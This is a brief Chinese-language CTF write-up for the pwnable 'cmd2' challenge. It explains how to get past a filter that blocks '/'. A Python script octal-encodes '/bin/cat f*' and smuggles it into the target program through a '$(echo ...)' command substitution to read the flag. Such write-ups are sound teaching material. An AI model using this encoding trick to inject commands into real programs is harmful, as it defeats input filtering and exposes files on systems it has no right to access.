pwnable 筆記 Toddler's Bottle - cmd2

這題過濾的條件更加嚴格了,增加了對/的過濾,也就是說輸入目錄都會被過濾掉,這樣通過字符拼接繞過過濾就很難了

google了一下其他方法,發現可以把命令通過八進制編碼,然後通過echo 命令輸出

解題腳本:(放在/tmp下執行)

#!/usr/bin/python 

import subprocess
cmd = "/bin/cat f*"
encode = ""
for c in cmd:
    encode += "\\"+oct(ord(c))
# print encode
args = ["/home/cmd2/cmd2","$(echo \'" + encode + "\')"]
# print args[1]
subprocess.Popen(args)
 


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章